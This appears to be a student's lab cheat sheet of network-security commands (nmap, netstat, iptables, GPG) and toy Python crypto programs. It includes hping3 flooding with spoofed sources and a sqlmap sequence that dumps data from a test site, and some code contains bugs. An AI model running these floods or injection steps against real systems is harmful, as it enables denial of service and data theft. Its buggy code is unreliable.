· 6 years ago · May 02, 2019, 12:24 AM
1Ifconfig
2
3************************************************************************
4whois 192.168.39.187
5
6A Whois server is set-up by an ICANN accredited registrar to acquire up-to-date information about domains that are registered within it. Every ICANN registrar is mandated to maintain a Whois server according to the ICANN agreement.
7
8***************************************************************************
9dig www.google.com OR dig google.com +short
10
11domain information groper
12It performs DNS lookups
13dig provides a number of query options which affect the way in which lookups are made and the results displayed. Some of these set or reset flag bits in the query header, some determine which sections of the answer get printed, and others determine the timeout and retry strategies
14
15dig 192.168.39.187
16
17****************************************************************************
18traceroute www.google.com
19
20traceroute prints the route that packets take to a network host.
21
22https://www.computerhope.com/unix/utracero.htm
23**************************************************************************
24nslookup google.com
25
26The nslookup command is used to query Internet name servers interactively for information.
27By default, nslookup will translate a domain name to an IP address and vice versa
28
29https://www.computerhope.com/unix/unslooku.htm
30**************************************************************************
31sudo netstat -plnt
32netstat -r
33netstat -i
34
35netstat -a | grep -e unix -e ESTABLISHED
36netstat -a | grep -e udp -e ESTABLISHED
37netstat -a | grep -c -e tcp -e ESTABLISHED
38sudo netstat -plnt | grep 80
39
40
41
42network statistics, the netstat command is a command found in almost all command line environments that allow you to view the statistics of the network.
43
44netstat ("network statistics") is a command-line tool that displays network connections (both incoming and outgoing), routing tables, and a number of network interface
45**************************************************************************
46Find ves public ip address? -
47dig ves.ac.in
48
49
50**************************************************************************
51sudo nmap -v -Pn -O 192.168.45.151
52
53nmap ("Network Mapper") is an open source tool for network exploration and security auditing. It was designed to rapidly scan large networks,
54
55https://www.unixmen.com/10-practical-examples-linux-nmap-command/
56
57nmap google.com
58sudo nmap -O google.com
59sudo nmap -sX google.com
60
61
62
63#######################################
64
65hping
66sudo hping3 192.168.37.56
67sudo hping3 -c 10000 --flood --rand-source 192.168.37.56
68sudo hping3 -c 10 192.168.36.193
69sudo hping3 -c 10 -d 120 192.168.36.193
70sudo hping3 -1 -c 10 -a 192.168.36.193 192.168.37.56
71The -V is for a verbose output
72The -c command is essentially the number of packets you want to send to the particular target. In this case, 1000 packets
73The -d command allows you to choose the size of a packet. For this example, 100
74To specify the type of packet, we need to add -S which is a syn packet
75After this, the -p command specifies the port, so the port 21 in this case, the FTP port.
76You then type in the command –flood
77-a Spoofs the source address
78Then add the ip which you need to spoof
79You then add the address which you need to send it to.
80https://hsploit.com/hping3-syn-flooding-icmp-flooding-land-attacks/
81
82
83
84
85
86
87
88
89#######################################
90firewall using Iptables
91
92*************list rules
93iptables -L
94*****block ping request (add rule)
95$ sudo iptables -A INPUT -p icmp --icmp-type echo-request -j REJECT
96
97********unblock ping request (delete rule)
98$ sudo iptables -D INPUT -p icmp --icmp-type echo-request -j REJECT
99
100***********block websites
101iptables -A OUTPUT -p tcp -m string --string "sitename.com" --algo kmp -j REJECT
102***********unblock websites
103iptables -D OUTPUT -p tcp -m string --string "sitename.com" --algo kmp -j REJECT
104
105*******Filtering packets based on source
106sudo iptables -A INPUT -s 192.168.1.3 -j DROP
107sudo iptables -A INPUT -s 192.168.1.3 -j ACCEPT
108
109https://www.hostinger.in/tutorials/iptables-tutorial
110
111
112Block Access To Outgoing IP Address
113
114The following rule will block ip address 202.54.1.22 from making any outgoing connection:
115iptables -A OUTPUT -d 202.54.1.22 -j DROP
116
117****************************************************************************
118Wireshark
119
120Install
121sudo add-apt-repository ppa:wireshark-dev/stable
122sudo apt-get update
123sudo apt-get install wireshark
124
125$ sudo dpkg-reconfigure wireshark-common
126$ sudo usermod -a -G wireshark {user-name}
127$ newgrp wireshark
128
129
130
131remove
132sudo apt-get remove --autoremove wireshark
133sudo apt-get remove --autoremove wireshark wireshark-*
134
135***************************************************************************
136
137GPG
138{https://www.digitalocean.com/community/tutorials/how-to-use-gpg-to-encrypt-and-sign-messages}
139
140sudo apt-get update
141sudo apt-get install gnupg
142gpg --gen-key
143gpg --output ~/revocation.crt --gen-revoke 2016.stephen.grinder@ves.ac.in
144chmod 600 ~/revocation.crt
145 Listing all generated keys:
146gpg --list-secret-keys
147 Send your public key as a file to the recipient:
148gpg -- armor --output mypubkey.gpg export 2016.stephen.grinder@ves.ac.in--
149{gpg --output ~/mygpg.key --armor --export your_email@address.com}
150
151gpg mypubkey.gpg
152 Friend sends his/her public key to you:
153gpg --import mypubkey.gpg
154{gpg --import name_of_pub_key_file}
155
156 encryption:
157gpg --encrypt --sign --armor -r 2016.stephen.grinder@ves.ac.in abc.txt
158
159 Decryption:
160gpg abc.txt.asc
161
162
163
164
165
166
167Installing GPG
168lab308-3@Shubham:~$ sudo apt-get update
169[sudo] password for lab308-3:
170Hit:1 http://ppa.launchpad.net/certbot/certbot/ubuntu xenial InRelease Hit:2 http://security.ubuntu.com/ubuntu xenial-security InRelease Hit:3 http://in.archive.ubuntu.com/ubuntu xenial InRelease
171Hit:4 http://ppa.launchpad.net/danielrichter2007/grub-customizer/ubuntu xenial InRelease Hit:5 http://in.archive.ubuntu.com/ubuntu xenial-updates InRelease
172Hit:6 http://in.archive.ubuntu.com/ubuntu xenial-backports InRelease Hit:7 http://ppa.launchpad.net/gns3/ppa/ubuntu xenial InRelease
173Hit:8 http://ppa.launchpad.net/otto-kesselgulasch/gimp/ubuntu xenial InRelease Reading package lists... Done
174
175lab308-3@Shubham:~$ sudo apt-get install gnupg
176Reading package lists... Done
177Building dependency tree
178Reading state information... Done
179gnupg is already the newest version (1.4.20-1ubuntu3.3).
1800 upgraded, 0 newly installed, 0 to remove and 141 not upgraded.
181
182lab308-3@Shubham:~$ gpg --gen-key
183gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
184This is free software: you are free to change and redistribute it.
185There is NO WARRANTY, to the extent permitted by law.
186Key Generation
187
188
189lab308-3@Shubham:~$ gpg --gen-key
190
191gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
192This is free software: you are free to change and redistribute it.
193There is NO WARRANTY, to the extent permitted by law.
194Please select what kind of key you want:
195(1) RSA and RSA (default)
196(2) DSA and Elgamal
197(3) DSA (sign only)
198(4) RSA (sign only)
199Your selection? 1
200
201RSA keys may be between 1024 and 4096 bits long.
202What keysize do you want? (2048) 4096
203Requested keysize is 4096 bits
204
205Please specify how long the key should be valid.
2060 = key does not expire
207<n> = key expires in n days
208<n>w = key expires in n weeks
209<n>m = key expires in n months
210<n>y = key expires in n years
211Key is valid for? (0) 1y
212
213Key expires at Tuesday 17 March 2020 08:41:50 AM IST
214Is this correct? (y/N) y
215
216You need a user ID to identify your key; the software constructs the user ID from the Real Name, Comment and Email Address in this form:
217"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
218
219Real name: Stephen Grinder
220Email address: 2016.stephen.grinder@ves.ac.in
221Comment: Stephen
222You selected this USER-ID:
223"Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
224Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
225
226You need a Passphrase to protect your secret key.
227We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy.
228Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 203 more bytes)
229.........+++++
230Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 11 more bytes)
231.........+++++
232We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy.
233Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 178 more bytes) .+++++
234Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 243 more bytes)
235.......+++++
236gpg: /home/lab308-3/.gnupg/trustdb.gpg: trustdb created
237gpg: key 7EDF0433 marked as ultimately trusted
238public and secret key created and signed.
239gpg: checking the trustdb
240gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
241gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
242gpg: next trustdb check due at 2020-03-17
243pub 4096R/7EDF0433 2019-03-18 [expires: 2020-03-17]
244Key fingerprint = 8A72 FEAC 9855 2574 4ED5 0A91 D06F 2B3F 7EDF 0433
245uid Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
246sub 4096R/8D3D2327 2019-03-18 [expires: 2020-03-17]
247
248
249Create a Revocation Certificate
250lab308-3@Shubham:~$ gpg --output ~/revocation.crt --gen-revoke 2016.stephen.grinder@ves.ac.in
251
252sec 4096R/7EDF0433 2019-03-18 Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
253Create a revocation certificate for this key? (y/N) y
254
255Please select the reason for the revocation:
2560 = No reason specified
2571 = Key has been compromised
2582 = Key is superseded
2593 = Key is no longer used
260Q = Cancel
261(Probably you want to select 1 here)
262Your decision? 0
263
264Enter an optional description; end it with an empty line:
265>
266Reason for revocation: No reason specified
267(No description given)
268Is this okay? (y/N) y
269
270You need a passphrase to unlock the secret key for
271user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
2724096-bit RSA key, ID 7EDF0433, created 2019-03-18
273ASCII armored output forced.
274Revocation certificate created.
275Please move it to a medium which you can hide away; if Mallory gets access to this certificate he can use it to make your key unusable. It is smart to print this certificate and store it away, just in case
276your media become unreadable. But have some caution: The print system of your machine might store the data and make it available to others!
277
278lab308-3@Shubham:~$ chmod 600 ~/revocation.crt
279
280Listing all generated keys
281stephen@stephen:~$ gpg --list-secret-keys
282/home/stephen/.gnupg/secring.gpg
283-----------------------------
284sec 2048R/84C7D581 2019-03-31 [expires: 2020-03-30]
285uid Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
286ssb 2048R/46ECE634 2019-03-31
287
288Send your public key as a file to the recipient
289stephen@stephen:~$ gpg -- armor --output mypubkey.gpg export 2016.stephen.grinder@ves.ac.in--
290stephen@stephen:~$ gpg mypubkey.gpg
291pub 2048R/84C7D581 2019-03-31 Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in> sub 2048R/46ECE634 2019-03-31 [expires: 2020-03-30]
292
293Friend sends his/her public key to you
294stephen@stephen:~$ gpg --import mypubkey.gpg
295gpg: key 84C7D581: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>" not changed
296gpg: Total number processed: 1
297gpg: unchanged: 1
298
299
300Encryption
301
302stephen@stephen:~$ gpg --encrypt --sign --armor -r 2016.stephen.grinder@ves.ac.in abc.txt
303You need a passphrase to unlock the secret key for
304user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
3052048-bit RSA key, ID 84C7D581, created 2019-03-31
306
307Decryption
308stephen@stephen:~$ gpg abc.txt.asc
309You need a passphrase to unlock the secret key for
310user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
3112048-bit RSA key, ID 46ECE634, created 2019-03-31 (main key ID 84C7D581)
312gpg: encrypted with 2048-bit RSA key, ID 46ECE634, created 2019-03-31 "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
313File `abc.txt' exists. Overwrite? (y/N) y
314gpg: Signature made Sunday 31 March 2019 07:52:23 PM IST using RSA key ID 84C7D581
315gpg: Good signature from "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
316
317
318
319
320
321
322****************************************************************************
323SQL INJECTION
324
325sudo apt-get install sqlmap
326
327Step 1: List information about the existing databases
328sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
329
330Step 2: List information about Tables present in a particular Database
331sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables
332
333Step 3: List information about the columns of a particular table
334sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns
335
336Step 4: Dump the data from the columns
337sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump
338
339
340*******************************************************************
341XSS
342
343https://xss-game.appspot.com/
344
345
346
347
348
349****************************************************************
350Ettercap
351
352https://www.hackers-arise.com/single-post/2017/08/28/MiTM-Attack-with-Ettercap
353
354
355
356
357
358
359###########################################
360////////////////////////////deffi hellman 1
361
362**********************server.py
363import random
364import time
365import socket
366def select_private_keys(p):
367 a = random.randrange(1,p)
368 return a
369def primitive_root(g, p):
370 residual_set = []
371 for i in range(1,p):
372 residual_set.append(i)
373 # print(residual_set)
374 temp_set = []
375 for j in range(1,p):
376 temp = pow(g, j, p)
377 temp_set.append(temp)
378 temp_set.sort()
379 if temp_set != residual_set:
380 return False
381 else:
382 return True
383if _name_ == '_main_':
384 host = socket.gethostname()
385 port = 5000
386 userA_socket = socket.socket()
387 userA_socket.bind((host, port))
388 userA_socket.listen(2)
389 conn, address = userA_socket.accept()
390 print("connected to : ",str(address))
391 g = int(input("Enter g : "))
392 p = int(input("Enter p : "))
393 if(primitive_root(g, p)):
394 print(g, " is primitive root of ", p)
395 conn.send(str(g).encode())
396 conn.send(str(p).encode())
397 print("g and p sent")
398 time.sleep(2)
399 x = select_private_keys(p)
400 r1 = pow(g, x, p)
401 conn.send(str(r1).encode())
402 print("r1 sent")
403 time.sleep(2)
404 r2 = int(conn.recv(1024).decode())
405 print("r2 received")
406 time.sleep(2)
407 k1 = pow(r2, x, p)
408 conn.send(str(k1).encode())
409 print("k1 sent")
410 time.sleep(2)
411 k2 = int(conn.recv(1024).decode())
412 print("k2 received")
413 time.sleep(2)
414 if k1 == k2:
415 print("Both are equal")
416 else:
417 print("Both are not equal")
418 conn.close()
419 else:
420 print(g, " is not primitive root of ", p)
421 conn.close()
422
423*************client.py
424import random
425import time
426import socket
427def select_private_keys(p):
428 a = random.randrange(1,p)
429 return a
430if _name_ == '_main_':
431 host = socket.gethostname()
432 port = 5000
433 userB_socket = socket.socket()
434 userB_socket.connect((host, port))
435 while True:
436 g = userB_socket.recv(1024).decode()
437 if not g:
438 break
439 g = int(g)
440 p = int(userB_socket.recv(1024).decode())
441 print("g and p received")
442 time.sleep(2)
443 y = select_private_keys(p)
444 r2 = pow(g, y, p)
445 r1 = int(userB_socket.recv(1024).decode())
446 print("r1 received")
447 time.sleep(2)
448 userB_socket.send(str(r2).encode())
449 print("r2 sent")
450 time.sleep(2)
451 k1 = int(userB_socket.recv(1024).decode())
452 print("k1 received")
453 time.sleep(2)
454 k2 = pow(r1, y, p)
455 userB_socket.send(str(k2).encode())
456 print("k2 sent")
457 time.sleep(2)
458 if k1 == k2:
459 print("Both are equal")
460 else:
461 print("Both are not equal")
462 userB_socket.close()
463
464#############################################
465////////////////////////////DEFFI HELLMAN 2
466******************server.py
467import random
468import socket
469
470def send_R2_receive_R1(R2):
471 try:
472 host = 'localhost'
473 port = 6766
474
475 s = socket.socket()
476 s.bind((host, port))
477 s.listen(1)
478 c, addr = s.accept()
479 data = c.recv(1024)
480 data1 = str(R2)
481 c.send(data1.encode())
482 return int(str(data.decode()))
483 finally:
484 c.close()
485
486def check_primitive(g,p):
487 another_set=set()
488 for e in range(1,p):
489 another_set.add(pow(g,e,p))
490 for i in range(1,p):
491 if i not in another_set:
492 return False
493 return True
494
495if __name__ == '__main__':
496 g, p=int(input("Enter g:")), int(input("Enter p:"))
497 if not check_primitive(g,p):
498 print(g," is not primitive root of ",p,sep="")
499 else:
500 #x = random.randint(1,p)
501 y = random.randint(1,p)
502 #R1 = pow(g,x,p)
503 R2 = pow(g,y,p)
504 print("Found R2 =",R2)
505 R1 = send_R2_receive_R1(R2)
506 print("Received R1 =",R1)
507 key = pow(R1,y,p)
508 print("Key =",key)
509
510*************************client .py
511import random
512import socket
513
514def send_R1_receive_R2(R1):
515 host = 'localhost'
516 port = 6766
517
518 s = socket.socket()
519 s.connect((host, port))
520
521 R1 = str(R1)
522 s.send(R1.encode())
523
524 data = s.recv(1024)
525 data = data.decode()
526
527 s.close()
528 return int(data)
529
530def check_primitive(g,p):
531 another_set=set()
532 for e in range(1,p):
533 another_set.add(pow(g,e,p))
534 for i in range(1,p):
535 if i not in another_set:
536 return False
537 return True
538
539
540if __name__ == '__main__':
541 g, p=int(input("Enter g:")), int(input("Enter p:"))
542 if not check_primitive(g,p):
543 print(g," is not primitive root of ",p,sep="")
544 else:
545 x = random.randint(1,p)
546 #y = random.randint(1,p)
547 R1 = pow(g,x,p)
548 print("Found R1 =",R1)
549 #R2 = pow(g,y,p)
550 R2 = send_R1_receive_R2(R1)
551 print("Received R2 =",R2)
552 key = pow(R2,x,p)
553 print("Key =",key)
554
555#############################################
556
557///////////////////////////RSA.py 1
558import random
559def gcd(a, b):
560 while b != 0:
561 a, b = b, a % b
562 return a
563def isPrime(num):
564 if num is 2:
565 return True
566 if (num < 2) or (num % 2 is 0):
567 return False
568 for n in range(3, int(num ** 0.5) + 2,2):
569 if num % n == 0:
570 return False
571 return True
572def multiInverse(e, phi):
573 r1 = phi
574 r2 = e
575 t1 = 0
576 t2 = 1
577 while r2 is not 0:
578 q = r1 // r2
579 r = r1 % r2
580 t = t1 - (q * t2)
581 r1 = r2
582 r2 = r
583 t1 = t2
584 t2 = t
585 return t1
586def generateKeyPair(p, q):
587 n = p * q
588 phi = (p - 1) * (q - 1)
589 print("phi=", phi)
590 e = random.randrange(1, phi)(1, phi)
591 g = gcd(e, phi)
592 while g != 1:
593 e = random.randrange(1, phi)
594 g = gcd(e, phi)
595 e1 = multiInverse(e, phi)
596 d = e1 % phi
597 return ((e, n), (d, n))
598def encrypt(public_key, plain_text):
599 key, n = public_key
600 cipher = pow(int(plain_text),int(key),int(n))
601 return cipher
602def decrypt(private_key, encrypted_text):
603 key, n = private_key
604 mssg = pow(encrypted_text,key,n)
605 return mssg
606if _name_ == '_main_':
607 p = int(input("Enter number 1 : "))
608 q = int(input("Enter number 2 : "))
609 if not ((isPrime(p) and isPrime(q)) and (p != q)):
610 raise ValueError("Both should be prime")
611 print("Both numbers are prime")
612 print("Generating key pairs.........")
613 public_key, private_key = generateKeyPair(p, q)
614 print("Public key = ", public_key)
615 print("Private key = ", private_key)
616 plain_text = int(input("Enter text to be encrypted :"))
617 encrypted_text = encrypt(public_key, plain_text)
618 print("Your encrypted text is :", encrypted_text)
619 decrypted_text = decrypt(private_key, encrypted_text)
620 print("Decrypted text is :", decrypted_text)
621
622#############################################
623////////////////////////////RSA.py 2
624
625import math
626from sympy import factorint #pip install sympy
627
628factors=[]
629power=[]
630'''
631def isPrime(p):
632 for i in range(2,p//2+1):
633 if p%i==0:
634 return False
635 return True
636
637def factorize(m):
638 i=2
639 k=0
640 while (i<=m):
641 if(isPrime(i)):
642 if m%i==0:
643 factors.append(i)
644 power.append(0)
645 while m%i==0:
646 power[k]+=1
647 m=m//i
648 k+=1
649 i+=1
650 print(factors)
651 print(power)
652'''
653def calc_phi():
654 phi=1
655 for i in range(0,len(factors)):
656 if power[i]>1:
657 phi*=(pow(factors[i], power[i]) - pow(factors[i], power[i]-1))
658 elif power[i]==1:
659 phi*=(factors[i]-1)
660 return phi
661
662def mul_inv(e,n):
663 if(math.gcd(e,phi)==1):
664 r1=phi
665 r2=e
666 t1=0
667 t2=1
668
669 while(r2!=0):
670 q=r1//r2
671 r=r1%r2
672 t=t1-q*t2
673 r1=r2
674 r2=r
675 t1=t2
676 t2=t
677 if t1>0:
678 return t1
679 else:
680 return t1%phi
681 else:
682 return -1
683
684def encrypt(s,e,n):
685 c=pow(s,e,n)
686 return c
687
688def decrypt(c,e,n):
689 p=pow(c,d,n)
690 return p
691
692print("RSA key generation:")
693print("1. Encryption with public key")
694print("2. Encryption with private key(Digital Signature)")
695ch=int(input("Enter your choice:"))
696
697n=int(input("Enter n:"))
698print("n:",n)
699
700#factorize(n)
701fact=factorint(n)
702factors=list(fact.keys())
703power=list(fact.values())
704print(factors)
705print(power)
706phi=calc_phi()
707
708d=-1
709while d==-1:
710 e=int(input("Enter e:"))
711 print("e:",e)
712 d=mul_inv(e,n)
713 if d==-1:
714 print("Multiplicative inverse doesn't exist. Try again.")
715print("d:",d)
716if ch==1:
717 print("Public Key: (", n, ",", e, ")")
718 print("Private Key: (", n, ",", d, ")")
719else:
720 print("Private Key: (", n, ",", e, ")")
721 print("Public Key: (", n, ",", d, ")")
722s=int(input("Enter the plain text:"))
723c=encrypt(s,e,n)
724print("encrypted text : ",c)
725p=decrypt(c,e,n)
726print("decrypted text : ",p)
727
728
729
730####################################
731
732/////////////////////MD5 Number 5
733import hashlib
734import time
735import os
736import math
737md=open("hii.txt","r")
738data=md.read()
739print('Length of input data is :',len(data))
740start = time.clock()
741result = hashlib.md5(data.encode())
742print(result.hexdigest())
743a=len(result.hexdigest())
744end = time.clock()
745print('length of encoded data using md5',a)
746print("time required :",end-start)
747
748///////////////////SHA
749import hashlib
750import time
751# initializing string
752str1 = "Hi"
753input_length=len(str1)
754start_time=time.time()
755# then sending to SHA1()
756result = hashlib.sha1(str1.encode())
757print("The hexadecimal equivalent of SHA1 is : ")
758print(result.hexdigest())
759end_time=time.time()
760print('length of input string',input_length)
761print('length of output string',result.digest_size)
762print('Start time =',start_time)
763print('End_time=',end_time)
764print('Total time required =',(end_time-start_time))
765
766
767
768
769
770
771
772
773*************************************************************
774Product cipher
775
776
777
778k = [3,1,4,5,2]
779ki = [2,5,1,3,4]
780kc = 3
781alpha = 'abcdefghijklmnopqrstuvwxyz'
782msg = input("Enter the message: ")
783msg = "".join(msg.split())
784enc = ""
785dec = ""
786
787##while len(msg)%5 != 0 :
788## msg = msg + "x"
789
790for i in msg :
791 enc = enc + alpha[(alpha.find(i)+kc)%26]
792
793print("After encryption with Caesar Cipher:",enc)
794msg = enc
795enc = ""
796
797mat = [["x" for i in range(5)] for j in range(int(len(msg)/5))]
798print("Transposition Matrix: ")
799for i in range(int(len(msg)/5)) :
800 for j in range(5):
801 print(msg[i*5+j], end=" ")
802 print()
803
804l = 0
805for i in range(5) :
806 for j in range(int(len(msg)/5)) :
807 if j*5+k[i]-1 < len(msg) :
808 mat[j][i] = msg[j*5+k[i]-1]
809
810enc = ""
811for i in range(5) :
812 for j in range(int(len(msg)/5)) :
813 enc = enc + mat[j][i]
814
815print("Final Encrypted Message:",enc.upper())
816
817for i in range(5) :
818 for j in range(int(len(enc)/5)) :
819 mat[j][i] = enc[i*(int(len(enc)/5))+j]
820
821enc= ""
822
823for i in range(int(len(msg)/5)) :
824 for j in range(5) :
825 enc = enc + mat[i][ki[j]-1]
826
827for i in enc :
828 dec = dec + alpha[(alpha.find(i)-kc)%26]
829
830print("Decrypted Message:",dec)
831
832
833
834///////////////////////////////Caesar Cipher:
835
836# encrypt and decrypt a text using a simple algorithm of offsetting the letters
837
838key = 'abcdefghijklmnopqrstuvwxyz'
839
840def encrypt(n, plaintext):
841 """Encrypt the string and return the ciphertext"""
842 result = ''
843
844 for l in plaintext.lower():
845 try:
846 i = (key.index(l) + n) % 26
847 result += key[i]
848 except ValueError:
849 result += l
850
851 return result.lower()
852
853def decrypt(n, ciphertext):
854 """Decrypt the string and return the plaintext"""
855 result = ''
856
857 for l in ciphertext:
858 try:
859 i = (key.index(l) - n) % 26
860 result += key[i]
861 except ValueError:
862 result += l
863
864 return result
865
866text = "I am coding Python on SoloLearn!"
867offset = 5
868
869encrypted = encrypt(offset, text)
870print('Encrypted:', encrypted)
871
872decrypted = decrypt(offset, encrypted)
873print('Decrypted:', decrypted)
874
875
876
877
878
879
880//////////////////////////////Autokey substitution cipher
881
882import math
883import random
884
885def subscipher_encrypt(msg,key):
886 msg = "".join(msg.split(' '))
887 msg = msg.lower()
888 m = list(msg)
889 stage1 = [ord(i) - ord('a') for i in m]
890 stage2 = [key]
891 stage2.extend(stage1[:-1])
892 stage3 = [i+j for i,j in zip(stage1,stage2)]
893 stage4 = [i%26 for i in stage3]
894 stage5 = [chr(i+ord('a')) for i in stage4]
895 cipher = "".join(stage5).upper()
896 return cipher
897
898def subscipher_decrypt(cipher,key):
899 m = list(cipher)
900 stage1 = [ord(i)-ord('A') for i in m]
901 stage2 = [(stage1[0]-key)%26]
902 for i in range(1,len(m)):
903 stage2.append((stage1[i] - stage2[i-1]) % 26)
904 stage3 = [chr(i + ord('A')) for i in stage2]
905 plain = "".join(stage3)
906 return plain
907
908if __name__ == '__main__':
909 message = input("Enter the message : ")
910 key = random.randint(50,100)
911
912
913 ct = subscipher_encrypt(message,key)
914 print("encrypted text is : ",ct)
915 pt = subscipher_decrypt(ct,key)
916 print("Decrypted text is : ",pt)
917
918
919
920
921
922
923//////////////////////Keyless Transposition Cipher
924
925''' Keyless Transposition Cipher '''
926import math
927
928#WORKING
929''' e.g. message is 'Python' to be transposed
930In keyless trans.n message is split into 2 rows having alternate characters of message
9311st row --> | P | | T | | O | |
9322nd row --> | | Y | | H | | N |
933The transposed message will be all characters of 1st row then of the 2nd row
934i.e. --> 'PTOYHN'
935'''
936
937def encrTrans(m):
938 #For storing characters present at even indices
939 even = []
940 #For storing characters present at odd indices
941 odd = []
942 for i in range(0,len(m)):
943 if(i%2 == 0):
944 even.append(m[i])
945 else:
946 odd.append(m[i])
947 tlist = even + odd
948 #returning list elements as a single string
949 return "".join(tlist)
950
951def decrTrans(tlist):
952 decryptedList = []
953 #halflength means till all the characters which were in the 1st row
954 halflength = math.ceil(len(tlist)/2)
955 #Now we will append characters in decryptedList alternately from 1st half and 2nd half of tlist
956 for i in range(0,halflength):
957 decryptedList.append(tlist[i])
958 if(halflength+i > len(tlist)-1):
959 break
960 else:
961 decryptedList.append(tlist[halflength+i])
962 return decryptedList
963
964if __name__ == '__main__':
965 message = input("Enter the message : ")
966 #Removing spaces if present in the message
967 message = "".join(message.split(' '))
968
969 transposedmsg = encrTrans(message)
970 print("Transposed message is : ",transposedmsg)
971
972 decryptedmsg = decrTrans(transposedmsg)
973 print("Decrypted message is : ","".join(decryptedmsg))